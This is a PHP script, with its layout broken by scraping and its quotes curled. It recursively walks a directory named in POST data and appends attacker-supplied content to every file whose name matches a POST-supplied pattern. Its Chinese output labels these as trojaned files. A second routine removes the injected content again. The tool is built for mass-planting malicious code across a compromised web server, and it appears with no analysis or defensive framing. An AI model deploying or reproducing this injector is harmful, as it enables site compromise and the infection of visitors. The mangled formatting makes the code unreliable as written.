<?php
function
gmfun(
$path
=”.”)
{
$d
= @dir(
$path
);
while
(false !== (
$v
=
$d
->read())) {
if
(
$v
== “.” ||
$v
== “..”)
continue
;
$file
=
$d
->path.”/”.
$v
;
if
(@
is_dir
(
$file
)) {
gmfun(
$file
);
}
else
{
if
(@
ereg
(
stripslashes
(
$_POST
[
"key"
]),
$file
)) {
$mm
=
stripcslashes
( trim(
$_POST
[mm] ) );
$handle
= @
fopen
(”
$file
”, “a”);
@fwrite(
$handle
, “
$mm
”);
@fclose(
$handle
);
echo
“已挂马文件:
$file
\n
”;
}
}
}
$d
->close();
echo
” “;
}
function
qmfun(
$path
=”.”)
{
$d
= @dir(
$path
);
while
(false !== (
$v
=
$d
->read())) {
if
(
$v
== “.” ||
$v
== “..”)
continue
;
$file
=
$d
->path.”/”.
$v
;
if
(@
is_dir
(
$file
)) {
qmfun(
$file
);
}
else
{
if
(@
ereg
(
stripslashes
(
$_POST
[
"key"
]),
$file
)) {
$mm
=
stripcslashes
( trim(
$_POST
[mm] ) );
$handle
=
fopen
(”
$file
”, “rb”);
$oldcontent
=
fread
(
$handle
,
filesize
(
$file
));
fclose(
$handle
);
$newcontent
=
str_replace
(
$mm
,””,
$oldcontent
);
$fw
=
fopen
(”
$file
”, “wb”);
fwrite(
$fw
,
$newcontent
,
strlen
(
$newcontent
));
fclose(
$fw
);
echo
“已清马文件:
$file
\n
”;
}
}
}
$d
->close();
echo
” “;
}
if
(
$_GET
['action']=='gm') {
set_time_limit(0);
gmfun(
$_POST
[
"dir"
]);
}
if
(
$_GET
['action']=='qm') {
set_time_limit(0);
qmfun(
$_POST
[
"dir"
]);
}
?>